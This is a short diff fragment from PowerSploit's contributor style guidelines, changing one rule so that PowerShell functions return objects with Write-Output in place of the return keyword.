@@ -136,6 +134,6 @@ For all contributors and future contributors to PowerSploit, I ask that you foll * Only use .NET code when absolutely necessary.
-* use the return keyword when returning an object from a function. I know it's not necessary but it makes the code more readable.
+* use the Write-Output keyword when returning an object from a function. I know it's not necessary but it makes the code more readable.
* Use default values for your parameters when it makes sense. Ideally, you want a script that will work without requiring any parameters.
\ No newline at end of file |